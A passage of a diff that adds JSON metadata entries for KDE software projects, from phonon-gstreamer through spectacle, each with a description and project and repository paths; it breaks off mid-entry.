"phonon-gstreamer": { + "description": "GStreamer backend for the Phonon multimedia library", + "name": "phonon-gstreamer", + "project_path": "kdesupport/phonon-gstreamer", + "repo_path": "libraries/phonon-gstreamer" + }, + "phonon-mmf": { + "description": "A MMF (Multimedia Framework Architecture) backend for the Phonon multimedia library.", + "name": "phonon-mmf", + "project_path": "unmaintained/phonon-mmf", + "repo_path": "unmaintained/phonon-mmf" + }, + "phonon-mplayer": { + "description": "A MPlayer backend for the Phonon multimedia library.", + "name": "phonon-mplayer", + "project_path": "unmaintained/phonon-mplayer", + "repo_path": "unmaintained/phonon-mplayer" + }, + "phonon-quicktime": { + "description": "A QuickTime backend for the Phonon multimedia library.", + "name": "phonon-quicktime", + "project_path": "unmaintained/phonon-quicktime", + "repo_path": "unmaintained/phonon-quicktime" + }, + "phonon-vlc": { + "description": "VLC backend for the Phonon multimedia library", + "name": "phonon-vlc", + "project_path": "kdesupport/phonon-vlc", + "repo_path": "libraries/phonon-vlc" + }, + "phonon-waveout": { + "description": "A WaveOut backend for the Phonon multimedia library.", + "name": "phonon-waveout", + "project_path": "unmaintained/phonon-waveout", + "repo_path": "unmaintained/phonon-waveout" + }, + "phonon-xine": { + "description": "A Xine backend for the Phonon multimedia library.", + "name": "phonon-xine", + "project_path": "unmaintained/phonon-xine", + "repo_path": "unmaintained/phonon-xine" + }, + "photobook": { + "description": "An application to manage your photos", + "name": "photobook", + "project_path": "unmaintained/photobook", + "repo_path": "unmaintained/photobook" + }, + "picmi": { + "description": "A nonogram logic game by KDE", + "name": "picmi", + "project_path": "kde/kdegames/picmi", + "repo_path": "games/picmi" + }, + "pico-wizard": { + "description": "A Post Installation Configuration Wizard for Linux OSes", + "name": "pico-wizard", + "project_path": "playground/base/pico-wizard", + "repo_path": "plasma/pico-wizard" + }, + "pikasso": { + "description": "Simple drawing programs using Kirigami for the UI and Rust for the rendering.", + "name": "pikasso", + "project_path": "playground/graphics/pikasso", + "repo_path": "graphics/pikasso" + }, + "pim-data-exporter": { + "description": "Application to assist you with backing up and archiving of PIM data", + "name": "pim-data-exporter", + "project_path": "kde/pim/pim-data-exporter", + "repo_path": "pim/pim-data-exporter" + }, + "pim-sieve-editor": { + "description": "Application to assist with editing IMAP Sieve filters", + "name": "pim-sieve-editor", + "project_path": "kde/pim/pim-sieve-editor", + "repo_path": "pim/pim-sieve-editor" + }, + "pim-storage-service-manager": { + "description": "Assistant to help with managing external and cloud data storage providers such as Owncloud and Google Drive.", + "name": "pim-storage-service-manager", + "project_path": "unmaintained/pim-storage-service-manager", + "repo_path": "unmaintained/pim-storage-service-manager" + }, + "pimcommon": { + "description": "Common library components for KDE PIM", + "name": "pimcommon", + "project_path": "kde/pim/pimcommon", + "repo_path": "pim/pimcommon" + }, + "plank-player": { + "description": "Multimedia Player for playing local files on Plasma Bigscreen allowing navigation with just a remote control", + "name": "plank-player", + "project_path": "kde/workspace/plank-player", + "repo_path": "plasma/plank-player" + }, + "plasma-active-kickstart": { + "description": "Repository of Kickstart and Yaml files used to create filesystem images of Plasma Active device adaptations", + "name": "plasma-active-kickstart", + "project_path": "unmaintained/plasma-active-kickstart", + "repo_path": "unmaintained/plasma-active-kickstart" + }, + "plasma-active-maliit": { + "description": "QML plugin for the Maliit vitual keyboard using KDE Plasma components, intended to be used in Plasma Active", + "name": "plasma-active-maliit", + "project_path": "playground/base/plasma-active-maliit", + "repo_path": "unmaintained/plasma-active-maliit" + }, + "plasma-active-window-control": { + "description": "Active Window Control applet for the Plasma Desktop", + "name": "plasma-active-window-control", + "project_path": "extragear/base/plasma-active-window-control", + "repo_path": "plasma/plasma-active-window-control" + }, + "plasma-activities": { + "description": "Core components for the KDE's Activities System", + "name": "plasma-activities", + "project_path": "kde/workspace/plasma-activities", + "repo_path": "plasma/plasma-activities" + }, + "plasma-activities-stats": { + "description": "A library for accessing the usage data collected by the activities system.", + "name": "plasma-activities-stats", + "project_path": "kde/workspace/plasma-activities-stats", + "repo_path": "plasma/plasma-activities-stats" + }, + "plasma-bigscreen": { + "description": "Plasma shell for TVs", + "name": "plasma-bigscreen", + "project_path": "kde/workspace/plasma-bigscreen", + "repo_path": "plasma/plasma-bigscreen" + }, + "plasma-browser-integration": { + "description": "Components necessary to integrate browsers into the Plasma Desktop", + "name": "plasma-browser-integration", + "project_path": "kde/workspace/plasma-browser-integration", + "repo_path": "plasma/plasma-browser-integration" + }, + "plasma-camera": { + "description": "Camera application for Plasma Mobile", + "name": "plasma-camera", + "project_path": "extragear/base/plasma-camera", + "repo_path": "plasma-mobile/plasma-camera" + }, + "plasma-crystal": { + "description": "A widget that can be used as search widget, or alternative file-open mechanism", + "name": "plasma-crystal", + "project_path": "unmaintained/plasma-crystal", + "repo_path": "unmaintained/plasma-crystal" + }, + "plasma-desktop": { + "description": "Plasma for the Desktop", + "name": "plasma-desktop", + "project_path": "kde/workspace/plasma-desktop", + "repo_path": "plasma/plasma-desktop" + }, + "plasma-dialer": { + "description": "Dialer for Plasma Mobile", + "name": "plasma-dialer", + "project_path": "extragear/mobile/plasma-dialer", + "repo_path": "plasma-mobile/plasma-dialer" + }, + "plasma-disks": { + "description": "Monitors S.M.A.R.T. capable devices for imminent failure.", + "name": "plasma-disks", + "project_path": "kde/workspace/plasma-disks", + "repo_path": "plasma/plasma-disks" + }, + "plasma-firewall": { + "description": "Control Panel for your system firewall", + "name": "plasma-firewall", + "project_path": "kde/workspace/plasma-firewall", + "repo_path": "plasma/plasma-firewall" + }, + "plasma-integration": { + "description": "Qt Platform Theme integration plugins for Plasma Workspaces", + "name": "plasma-integration", + "project_path": "kde/workspace/plasma-integration", + "repo_path": "plasma/plasma-integration" + }, + "plasma-lionmail": { + "description": "A Plasma widget displaying new and important email", + "name": "plasma-lionmail", + "project_path": "unmaintained/plasma-lionmail", + "repo_path": "unmaintained/plasma-lionmail" + }, + "plasma-maliit-framework": { + "description": "Framework for Maliit integration with Plasma", + "name": "plasma-maliit-framework", + "project_path": "playground/mobile/plasma-maliit-framework", + "repo_path": "plasma-mobile/plasma-maliit-framework" + }, + "plasma-maliit-plugins": { + "description": "Plasma integration for Maliit virtual keyboard", + "name": "plasma-maliit-plugins", + "project_path": "playground/mobile/plasma-maliit-plugins", + "repo_path": "plasma-mobile/plasma-maliit-plugins" + }, + "plasma-mediacenter": { + "description": "h3. Plasma Media Center is designed to provide an easy and comfortable way to watch your videos, browse your photo collection and listen to your music, all in one place.", + "name": "plasma-mediacenter", + "project_path": "unmaintained/plasma-mediacenter", + "repo_path": "unmaintained/plasma-mediacenter" + }, + "plasma-mobile": { + "description": "Plasma shell for mobile devices", + "name": "plasma-mobile", + "project_path": "kde/workspace/plasma-mobile", + "repo_path": "plasma/plasma-mobile" + }, + "plasma-mobile-config": { + "description": "Generic as well as device-specific configuration for Plasma Active installations.", + "name": "plasma-mobile-config", + "project_path": "unmaintained/plasma-mobile-config", + "repo_path": "unmaintained/plasma-mobile-config" + }, + "plasma-mobile-design-docs": { + "description": "Design documents for Plasma Mobile", + "name": "plasma-mobile-design-docs", + "project_path": "unmaintained/plasma-mobile-design-docs", + "repo_path": "unmaintained/plasma-mobile-design-docs" + }, + "plasma-mobile-history": { + "description": "A complete Plasma workspace targeted from small handheld devices to larger tablets.", + "name": "plasma-mobile-history", + "project_path": "extragear/base/plasma-mobile-history", + "repo_path": "unmaintained/plasma-mobile-history" + }, + "plasma-mobile-sounds": { + "description": "Sounds for Plasma Mobile devices", + "name": "plasma-mobile-sounds", + "project_path": "playground/mobile/plasma-mobile-sounds", + "repo_path": "plasma-mobile/plasma-mobile-sounds" + }, + "plasma-mycroft-mobile": { + "description": "Plasma Mobile integration of different Mycroft AI services", + "name": "plasma-mycroft-mobile", + "project_path": "playground/utils/mycroft-plasmoid-mobile", + "repo_path": "plasma-mobile/mycroft-plasmoid-mobile" + }, + "plasma-nano": { + "description": "A minimal Plasma shell package", + "name": "plasma-nano", + "project_path": "kde/workspace/plasma-nano", + "repo_path": "plasma/plasma-nano" + }, + "plasma-nm": { + "description": "Plasma applet written in QML for managing network connections", + "name": "plasma-nm", + "project_path": "kde/workspace/plasma-nm", + "repo_path": "plasma/plasma-nm" + }, + "plasma-pa": { + "description": "Plasma applet for audio volume management using PulseAudio", + "name": "plasma-pa", + "project_path": "kde/workspace/plasma-pa", + "repo_path": "plasma/plasma-pa" + }, + "plasma-packagekit": { + "description": "Plasma applet to monitor Packagekit", + "name": "plasma-packagekit", + "project_path": "playground/base/plasma-packagekit", + "repo_path": "system/plasma-packagekit" + }, + "plasma-pass": { + "description": "Plasma applet for the Pass password manager", + "name": "plasma-pass", + "project_path": "extragear/base/plasma-pass", + "repo_path": "plasma/plasma-pass" + }, + "plasma-phone-settings": { + "description": "Configuration files for Plasma Mobile deployments", + "name": "plasma-phone-settings", + "project_path": "playground/mobile/plasma-phone-settings", + "repo_path": "plasma-mobile/plasma-phone-settings" + }, + "plasma-phonebook": { + "description": "Phone book for Plasma Mobile", + "name": "plasma-phonebook", + "project_path": "extragear/base/plasma-phonebook", + "repo_path": "plasma-mobile/plasma-phonebook" + }, + "plasma-pk-updates": { + "description": "Plasma applet for software updates using PackageKit", + "name": "plasma-pk-updates", + "project_path": "playground/base/plasma-pk-updates", + "repo_path": "system/plasma-pk-updates" + }, + "plasma-redshift-control": { + "description": "Redshift control applet for the Plasma Desktop", + "name": "plasma-redshift-control", + "project_path": "extragear/base/plasma-redshift-control", + "repo_path": "plasma/plasma-redshift-control" + }, + "plasma-remotecontrollers": { + "description": "Translate various input device events into keyboard and pointer events", + "name": "plasma-remotecontrollers", + "project_path": "kde/workspace/plasma-remotecontrollers", + "repo_path": "plasma-bigscreen/plasma-remotecontrollers" + }, + "plasma-samegame": { + "description": "Samegame clone suitable for mobile devices", + "name": "plasma-samegame", + "project_path": "extragear/base/plasma-samegame", + "repo_path": "plasma-mobile/plasma-samegame" + }, + "plasma-sdk": { + "description": "Applications useful for Plasma development", + "name": "plasma-sdk", + "project_path": "kde/workspace/plasma-sdk", + "repo_path": "plasma/plasma-sdk" + }, + "plasma-settings": { + "description": "Settings application for Plasma Mobile", + "name": "plasma-settings", + "project_path": "extragear/base/plasma-settings", + "repo_path": "plasma-mobile/plasma-settings" + }, + "plasma-simplemenu": { + "description": "Simplified menu for your Plasma Desktop", + "name": "plasma-simplemenu", + "project_path": "extragear/base/plasma-simplemenu", + "repo_path": "plasma/plasma-simplemenu" + }, + "plasma-systemd-integration": { + "description": "Integration of Plasma Workspace and various modules with systemd", + "name": "plasma-systemd-integration", + "project_path": "unmaintained/plasma-systemd-integration", + "repo_path": "unmaintained/plasma-systemd-integration" + }, + "plasma-systemmonitor": { + "description": "An interface for monitoring system sensors, process information and other system resources", + "name": "plasma-systemmonitor", + "project_path": "kde/workspace/plasma-systemmonitor", + "repo_path": "plasma/plasma-systemmonitor" + }, + "plasma-tests": { + "description": "Tests for the Plasma Workspace", + "name": "plasma-tests", + "project_path": "kde/workspace/plasma-tests", + "repo_path": "plasma/plasma-tests" + }, + "plasma-thunderbolt": { + "description": "Plasma integration for controlling Thunderbolt devices", + "name": "plasma-thunderbolt", + "project_path": "kde/workspace/plasma-thunderbolt", + "repo_path": "plasma/plasma-thunderbolt" + }, + "plasma-vault": { + "description": "Plasma applet and services for creating encrypted vaults", + "name": "plasma-vault", + "project_path": "kde/workspace/plasma-vault", + "repo_path": "plasma/plasma-vault" + }, + "plasma-wayland-protocols": { + "description": "Plasma-specific protocols for Wayland", + "name": "plasma-wayland-protocols", + "project_path": "kdesupport/plasma-wayland-protocols", + "repo_path": "libraries/plasma-wayland-protocols" + }, + "plasma-welcome": { + "description": "A friendly onboarding wizard for Plasma", + "name": "plasma-welcome", + "project_path": "kde/workspace/plasma-welcome", + "repo_path": "plasma/plasma-welcome" + }, + "plasma-workspace": { + "description": "Various components needed to run a Plasma-based environment", + "name": "plasma-workspace", + "project_path": "kde/workspace/plasma-workspace", + "repo_path": "plasma/plasma-workspace" + }, + "plasma-workspace-wallpapers": { + "description": "Wallpapers for Plasma Workspaces", + "name": "plasma-workspace-wallpapers", + "project_path": "kde/workspace/plasma-workspace-wallpapers", + "repo_path": "plasma/plasma-workspace-wallpapers" + }, + "plasma5support": { + "description": "Support components for porting from KF5/Qt5 to KF6/Qt6", + "name": "plasma5support", + "project_path": "kde/workspace/plasma5support", + "repo_path": "plasma/plasma5support" + }, + "plasmate": { + "description": "Plasma Applet Development Environment", + "name": "plasmate", + "project_path": "playground/sdk/plasmate", + "repo_path": "unmaintained/plasmate" + }, + "plasmatube": { + "description": "Kirigami YouTube video player based on QtMultimedia and youtube-dl", + "name": "plasmatube", + "project_path": "playground/mobile/plasmatube", + "repo_path": "multimedia/plasmatube" + }, + "plasmoid-eventlist": { + "description": "A plasmoid to show your events and todos from Akonadi", + "name": "plasmoid-eventlist", + "project_path": "unmaintained/plasmoid-eventlist", + "repo_path": "unmaintained/plasmoid-eventlist" + }, + "plymouth-kcm": { + "description": "KCM to manage the Plymouth (Boot) theme", + "name": "plymouth-kcm", + "project_path": "kde/workspace/plymouth-kcm", + "repo_path": "plasma/plymouth-kcm" + }, + "pokipoki": { + "description": "Persistent object framework", + "name": "pokipoki", + "project_path": "kdereview/pokipoki", + "repo_path": "libraries/pokipoki" + }, + "polinpin": { + "description": "Site for conducting tests", + "name": "polinpin", + "project_path": "playground/www/polinpin", + "repo_path": "webapps/polinpin" + }, + "polkit-kde-agent-1": { + "description": "Daemon providing a Polkit authentication UI for Plasma", + "name": "polkit-kde-agent-1", + "project_path": "kde/workspace/polkit-kde-agent-1", + "repo_path": "plasma/polkit-kde-agent-1" + }, + "polkit-kde-kcmodules-1": { + "description": "Set of configuration modules which allows administrator to change polkit settings.", + "name": "polkit-kde-kcmodules-1", + "project_path": "playground/system/polkit-kde-kcmodules-1", + "repo_path": "system/polkit-kde-kcmodules-1" + }, + "polkit-qt-1": { + "description": "Qt wrapper around Polkit-1 client libraries", + "name": "polkit-qt-1", + "project_path": "kdesupport/polkit-qt-1", + "repo_path": "libraries/polkit-qt-1" + }, + "pology": { + "description": "Library and collection of tools for in-depth processing of PO files", + "name": "pology", + "project_path": "playground/sdk/pology", + "repo_path": "sdk/pology" + }, + "poppler": { + "description": null, + "name": "poppler", + "project_path": "third-party/poppler", + "repo_path": null + }, + "powerdevil": { + "description": "Manages the power consumption settings of a Plasma shell", + "name": "powerdevil", + "project_path": "kde/workspace/powerdevil", + "repo_path": "plasma/powerdevil" + }, + "powerplant": { + "description": "A verry WIP app to keep track of your plant's needs", + "name": "powerplant", + "project_path": "playground/utils/powerplant", + "repo_path": "utilities/powerplant" + }, + "poxml": { + "description": "Translate DocBook XML files using gettext PO files", + "name": "poxml", + "project_path": "kde/kdesdk/poxml", + "repo_path": "sdk/poxml" + }, + "print-manager": { + "description": "A tool for managing print jobs and printers", + "name": "print-manager", + "project_path": "kde/kdeworkspace/print-manager", + "repo_path": "plasma/print-manager" + }, + "printer-applet": { + "description": "Printer Applet is a system tray utility that shows current print jobs, shows printer warnings and errors.", + "name": "printer-applet", + "project_path": "unmaintained/printer-applet", + "repo_path": "unmaintained/printer-applet" + }, + "prison": { + "description": "prison is a barcode api currently offering a nice Qt api to produce QRCode barcodes and DataMatrix barcodes, and can easily be made support more.", + "name": "prison", + "project_path": "frameworks/prison", + "repo_path": "frameworks/prison" + }, + "propagator": { + "description": "A git mirror fleet manager", + "name": "propagator", + "project_path": "unmaintained/propagator", + "repo_path": "unmaintained/propagator" + }, + "publictransport": { + "description": "PublicTransport Applets, Runner, Data Engine & Tools.", + "name": "publictransport", + "project_path": "playground/base/publictransport", + "repo_path": "unmaintained/publictransport" + }, + "pulseaudio-qt": { + "description": "Qt bindings for libpulse", + "name": "pulseaudio-qt", + "project_path": "extragear/libs/pulseaudio-qt", + "repo_path": "libraries/pulseaudio-qt" + }, + "purpose": { + "description": "Framework for providing abstractions to get the developer's purposes fulfilled.", + "name": "purpose", + "project_path": "frameworks/purpose", + "repo_path": "frameworks/purpose" + }, + "pvfviewer": { + "description": "PC Stitch Pattern Viewer", + "name": "pvfviewer", + "project_path": "extragear/graphics/pvfviewer", + "repo_path": "graphics/pvfviewer" + }, + "pykde4": { + "description": "Python KDE bindings using PyQt4 SIP technology.", + "name": "pykde4", + "project_path": "kde/kdebindings/python/pykde4", + "repo_path": "unmaintained/pykde4" + }, + "pykde5": { + "description": "Python bindings for KF5", + "name": "pykde5", + "project_path": "kde/kdebindings/python/pykde5", + "repo_path": "libraries/pykde5" + }, + "qca": { + "description": "Qt Cryptographic Architecture \u2014 straightforward cross-platform crypto API", + "name": "qca", + "project_path": "kdesupport/qca", + "repo_path": "libraries/qca" + }, + "qcoro": { + "description": null, + "name": "qcoro", + "project_path": "third-party/qcoro", + "repo_path": null + }, + "qml-lsp": { + "description": "Collection of QML tools, including qml-lsp, qml-dap, and qml-refactor-fairy", + "name": "qml-lsp", + "project_path": "playground/sdk/qml-lsp", + "repo_path": "sdk/qml-lsp" + }, + "qmlkonsole": { + "description": "Terminal app for Plasma Mobile", + "name": "qmlkonsole", + "project_path": "playground/mobile/qmlkonsole", + "repo_path": "plasma-mobile/qmlkonsole" + }, + "qmlonline": { + "description": "Browser based QML Renderer", + "name": "qmlonline", + "project_path": "playground/www/qmlonline", + "repo_path": "webapps/qmlonline" + }, + "qmltermwidget": { + "description": null, + "name": "qmltermwidget", + "project_path": "third-party/qmltermwidget", + "repo_path": null + }, + "qmlweb": { + "description": "QmlWeb JavaScript Library", + "name": "qmlweb", + "project_path": "playground/www/qmlweb", + "repo_path": "unmaintained/qmlweb" + }, + "qqc2-breeze-style": { + "description": "Breeze inspired QQC2 Style", + "name": "qqc2-breeze-style", + "project_path": "kde/workspace/qqc2-breeze-style", + "repo_path": "plasma/qqc2-breeze-style" + }, + "qqc2-desktop-style": { + "description": "Qt Quick Controls 2: Desktop Style", + "name": "qqc2-desktop-style", + "project_path": "frameworks/qqc2-desktop-style", + "repo_path": "frameworks/qqc2-desktop-style" + }, + "qrca": { + "description": "QR code scanner for Plasma Mobile", + "name": "qrca", + "project_path": "kdereview/utilities/qrca", + "repo_path": "utilities/qrca" + }, + "qt1": { + "description": "Historical copy of Qt 1, adapted to compile on modern systems (circa. 2016)", + "name": "qt1", + "project_path": "historical/qt1", + "repo_path": "historical/qt1" + }, + "qt2": { + "description": "Historical copy of Qt 2, adapted to compile on modern systems (circa. 2018)", + "name": "qt2", + "project_path": "historical/qt2", + "repo_path": "historical/qt2" + }, + "qtatspi": { + "description": "Qt accessibility bridge plugin", + "name": "qtatspi", + "project_path": "unmaintained/qtatspi", + "repo_path": "unmaintained/qtatspi" + }, + "qtcurve": { + "description": "Style engine for Qt and other toolkits", + "name": "qtcurve", + "project_path": "extragear/base/qtcurve", + "repo_path": "system/qtcurve" + }, + "qtjolie": { + "description": "Qt binding to use the Jolie service-oriented framework", + "name": "qtjolie", + "project_path": "playground/libs/qtjolie", + "repo_path": "libraries/qtjolie" + }, + "qtkeychain": { + "description": null, + "name": "qtkeychain", + "project_path": "third-party/qtkeychain", + "repo_path": null + }, + "qtruby": { + "description": "Ruby bindings for the Qt libraries.", + "name": "qtruby", + "project_path": "kde/kdebindings/ruby/qtruby", + "repo_path": "unmaintained/qtruby" + }, + "quanta": { + "description": "Quanta, an IDE for Web Development based on the KDevelop Platform.", + "name": "quanta", + "project_path": "playground/devtools/quanta", + "repo_path": "unmaintained/quanta" + }, + "qyoto": { + "description": ".NET/Mono bindings for the Qt libraries.", + "name": "qyoto", + "project_path": "kde/kdebindings/csharp/qyoto", + "repo_path": "unmaintained/qyoto" + }, + "rattlesnake": { + "description": "Rattlesnake is a metronome app for mobile and desktop.", + "name": "rattlesnake", + "project_path": "playground/multimedia/rattlesnake", + "repo_path": "multimedia/rattlesnake" + }, + "raven": { + "description": "A mail client for Plasma Mobile", + "name": "raven", + "project_path": "playground/mobile/raven", + "repo_path": "plasma-mobile/raven" + }, + "rcharactersheet": { + "description": "Rolisteam Character Set Shared Components", + "name": "rcharactersheet", + "project_path": "playground/games/rcharactersheet", + "repo_path": "rolisteam/rcharactersheet" + }, + "rcse": { + "description": "Character Set IDE for Rolisteam applications.", + "name": "rcse", + "project_path": "playground/games/rcse", + "repo_path": "rolisteam/rcse" + }, + "rekollect": { + "description": "A rich note-taking application.", + "name": "rekollect", + "project_path": "unmaintained/rekollect", + "repo_path": "unmaintained/rekollect" + }, + "rekonq": { + "description": "rekonq is a web browser by KDE based on WebKit.", + "name": "rekonq", + "project_path": "unmaintained/rekonq", + "repo_path": "unmaintained/rekonq" + }, + "release-buddy": { + "description": "KDE Release and Packaging System", + "name": "release-buddy", + "project_path": "playground/utils/release-buddy", + "repo_path": "unmaintained/release-buddy" + }, + "releaseme": { + "description": "Release script framework", + "name": "releaseme", + "project_path": "playground/sdk/releaseme", + "repo_path": "sdk/releaseme" + }, + "repo-management": { + "description": "This project contains the hooks and scripts that power the KDE git infrastructure.", + "name": "repo-management", + "project_path": "repo-management", + "repo_path": "sysadmin/repo-management" + }, + "ring-kde": { + "description": "Qt-based Ring communication framework (www.ring.cx) client", + "name": "ring-kde", + "project_path": "extragear/pim/ring-kde", + "repo_path": "network/ring-kde" + }, + "rkward": { + "description": "Easily extensible and easy-to-use IDE/GUI for R", + "name": "rkward", + "project_path": "kdereview/rkward", + "repo_path": "education/rkward" + }, + "rocs": { + "description": "An educational Graph Theory IDE", + "name": "rocs", + "project_path": "kde/kdeedu/rocs", + "repo_path": "education/rocs" + }, + "rolisteam": { + "description": "Virtual Tabletop Backend for Games", + "name": "rolisteam", + "project_path": "playground/games/rolisteam", + "repo_path": "rolisteam/rolisteam" + }, + "rolisteam-common": { + "description": "Shared Components for Rolisteam", + "name": "rolisteam-common", + "project_path": "playground/games/rolisteam-common", + "repo_path": "rolisteam/rolisteam-common" + }, + "rolisteam-community-data": { + "description": "Contributed Resources for Rolisteam Applications (Character Sheets, Themes, etc)", + "name": "rolisteam-community-data", + "project_path": "playground/games/rolisteam-community-data", + "repo_path": "rolisteam/rolisteam-community-data" + }, + "rolisteam-diceparser": { + "description": "Rolisteam Dice Handling Components", + "name": "rolisteam-diceparser", + "project_path": "playground/games/rolisteam-diceparser", + "repo_path": "rolisteam/rolisteam-diceparser" + }, + "rolisteam-packaging": { + "description": "Packaging resources for Rolisteam (Windows, Mac, Docker image, Snap and Debian packages)", + "name": "rolisteam-packaging", + "project_path": "playground/games/rolisteam-packaging", + "repo_path": "rolisteam/rolisteam-packaging" + }, + "rolisteam-plugins": { + "description": "Various Shared Plugins for Rolisteam", + "name": "rolisteam-plugins", + "project_path": "playground/games/rolisteam-plugins", + "repo_path": "rolisteam/rolisteam-plugins" + }, + "rsibreak": { + "description": "Helps prevent Repetitive Strain Injury by reminding you to take a break", + "name": "rsibreak", + "project_path": "extragear/utils/rsibreak", + "repo_path": "utilities/rsibreak" + }, + "ruqola": { + "description": "KDE client for Rocket Chat", + "name": "ruqola", + "project_path": "extragear/network/ruqola", + "repo_path": "network/ruqola" + }, + "rust-qt-binding-generator": { + "description": "Generate bindings to use Rust code in Qt and QML", + "name": "rust-qt-binding-generator", + "project_path": "extragear/sdk/rust-qt-binding-generator", + "repo_path": "sdk/rust-qt-binding-generator" + }, + "samba-mounter": { + "description": "Samba Share Mounter", + "name": "samba-mounter", + "project_path": "playground/base/samba-mounter", + "repo_path": "system/samba-mounter" + }, + "scribo": { + "description": "Natural Language Processing based on the Nepomuk semantic desktop framework.", + "name": "scribo", + "project_path": "unmaintained/scribo", + "repo_path": "unmaintained/scribo" + }, + "sddm-kcm": { + "description": "Configuration module for SDDM", + "name": "sddm-kcm", + "project_path": "kde/workspace/sddm-kcm", + "repo_path": "plasma/sddm-kcm" + }, + "selenium-webdriver-at-spi": { + "description": "Selenium/Appium WebDriver implementation based on AT-SPI Accessibility", + "name": "selenium-webdriver-at-spi", + "project_path": "playground/sdk/selenium-webdriver-at-spi", + "repo_path": "sdk/selenium-webdriver-at-spi" + }, + "sflphone-kde": { + "description": "SFLPhone KDE is an enterprise class soft phone with integration with various KDE technologies such as Akonadi", + "name": "sflphone-kde", + "project_path": "unmaintained/sflphone-kde", + "repo_path": "unmaintained/sflphone-kde" + }, + "share-like-connect": { + "description": "A simple ubiquitous user interface for interacting with your data.", + "name": "share-like-connect", + "project_path": "unmaintained/share-like-connect", + "repo_path": "unmaintained/share-like-connect" + }, + "signon-kwallet-extension": { + "description": "KWallet integration for the SignOn framework (gitlab.com/accounts-sso)", + "name": "signon-kwallet-extension", + "project_path": "kde/kdenetwork/signon-kwallet-extension", + "repo_path": "network/signon-kwallet-extension" + }, + "signond": { + "description": null, + "name": "signond", + "project_path": "third-party/signond", + "repo_path": null + }, + "silk": { + "description": "Utilities and libraries for the integration of online content and communication into the user experience.", + "name": "silk", + "project_path": "unmaintained/silk", + "repo_path": "unmaintained/silk" + }, + "simon": { + "description": "Highly configurable, targeted speech recognition software", + "name": "simon", + "project_path": "unmaintained/simon", + "repo_path": "unmaintained/simon" + }, + "simon-tools": { + "description": "Additional tools and utilities for simon", + "name": "simon-tools", + "project_path": "unmaintained/simon-tools", + "repo_path": "unmaintained/simon-tools" + }, + "sink": { + "description": "Offline caching, synchronization and indexing system for PIM data", + "name": "sink", + "project_path": "playground/pim/sink", + "repo_path": "pim/sink" + }, + "skanlite": { + "description": "Lite image scanning application", + "name": "skanlite", + "project_path": "kde/kdegraphics/skanlite", + "repo_path": "graphics/skanlite" + }, + "skanpage": { + "description": "Utility to scan images and multi-page documents", + "name": "skanpage", + "project_path": "kde/kdeutils/skanpage", + "repo_path": "utilities/skanpage" + }, + "skladnik": { + "description": "Skladnik is the Japanese warehouse keeper sokoban game", + "name": "skladnik", + "project_path": "extragear/games/skladnik", + "repo_path": "games/skladnik" + }, + "skrooge": { + "description": "Personal finance manager that aims at being powerful and intuitive", + "name": "skrooge", + "project_path": "extragear/office/skrooge", + "repo_path": "office/skrooge" + }, + "smaragd": { + "description": "KWin plugin to support Emerald themes in KDE", + "name": "smaragd", + "project_path": "playground/artwork/smaragd", + "repo_path": "plasma/smaragd" + }, + "smb4k": { + "description": "Advanced network neighborhood browser and Samba share mounting utility", + "name": "smb4k", + "project_path": "extragear/network/smb4k", + "repo_path": "network/smb4k" + }, + "smokegen": { + "description": "A general purpose C++ parser with a plugin infrastructure enabling ''generators'' to be written, which can do various things with the C++ AST. It is currently used for generating the various SMOKE libraries.", + "name": "smokegen", + "project_path": "kde/kdebindings/smoke/smokegen", + "repo_path": "unmaintained/smokegen" + }, + "smokekde": { + "description": "SMOKE bindings for libraries created by the KDE community. Used by language bindings.", + "name": "smokekde", + "project_path": "kde/kdebindings/smoke/smokekde", + "repo_path": "unmaintained/smokekde" + }, + "smokeqt": { + "description": "SMOKE bindings for the Qt libraries. Used by language bindings.", + "name": "smokeqt", + "project_path": "kde/kdebindings/smoke/smokeqt", + "repo_path": "unmaintained/smokeqt" + }, + "snap-kf5": { + "description": "Content Snap for Qt5 and KF5", + "name": "snap-kf5", + "project_path": "playground/packaging/snap-kf5", + "repo_path": "packaging/snap-kf5" + }, + "snap-kf5-launcher": { + "description": "Launcher for Content Snap for Qt5 and KF5", + "name": "snap-kf5-launcher", + "project_path": "playground/packaging/snap-kf5-launcher", + "repo_path": "packaging/snap-kf5-launcher" + }, + "snapcraft-kde-applications": { + "description": "Snapcraft packaging files for some KDE Applications", + "name": "snapcraft-kde-applications", + "project_path": "playground/packaging/snapcraft-kde-applications", + "repo_path": "packaging/snapcraft-kde-applications" + }, + "snorenotify": { + "description": "Multi-platform Qt notification framework", + "name": "snorenotify", + "project_path": "playground/libs/snorenotify", + "repo_path": "libraries/snorenotify" + }, + "snoretoast": { + "description": "Command-line application capable of creating Windows Toast notifications", + "name": "snoretoast", + "project_path": "playground/libs/snoretoast", + "repo_path": "libraries/snoretoast" + }, + "solid": { + "description": "Solid", + "name": "solid", + "project_path": "frameworks/solid", + "repo_path": "frameworks/solid" + }, + "solid-power": { + "description": "This framework is the single entry point for power management.", + "name": "solid-power", + "project_path": "unmaintained/solid-power", + "repo_path": "unmaintained/solid-power" + }, + "sonnet": { + "description": "Spelling framework for Qt.", + "name": "sonnet", + "project_path": "frameworks/sonnet", + "repo_path": "frameworks/sonnet" + }, + "soprano": { + "description": "Soprano is a library which provides a highly usable object-oriented C++/Qt4 framework for RDF data.", + "name": "soprano", + "project_path": "kdesupport/soprano", + "repo_path": "unmaintained/soprano" + }, + "soundcloud-voice-application": { + "description": "Soundcloud music player voice application and mycroft skill for Plasma Bigscreen", + "name": "soundcloud-voice-application", + "project_path": "playground/utils/soundcloud-voice-application", + "repo_path": "plasma-bigscreen/soundcloud-voice-application" + }, + "spacebar": { + "description": "SMS/MMS application for Plasma Mobile", + "name": "spacebar", + "project_path": "extragear/mobile/spacebar", + "repo_path": "plasma-mobile/spacebar" + }, + "spectacle": { + "description": "Screenshot capture utility", + "name": "spectacle", + "project_path": "kde/kdegraphics/spectacle", + "repo_path": "graphics/spectacle" + }, + "sprinter": { + "description": "Multi-agent query parser and result generator", + "name": "sprinter", + "project_path": "unmaintained/sprinter", + "repo_path": "unmaintained/sprinter" + }, + "sprinter-plugins": { + "description": "Plugins for Sprinter", + "name": "sprinter-plugins", + "project_path": "playground/libs/sprinter-plugins", + "repo_path": "unmaintained/sprinter-plugins" + }, + "stackfolder": { + "description": "Browse the stack of folders", + "name": "stackfolder", + "project_path": "unmaintained/stackfolder", + "repo_path": "unmaintained/stackfolder" + }, + "startactive": { + "description": "A dependency-based init system for KDE workspace.", + "name": "startactive", + "project_path": "unmaintained/startactive", + "repo_path": "unmaintained/startactive" + }, + "step": { + "description": "Interactive physics simulator", + "name": "step", + "project_path": 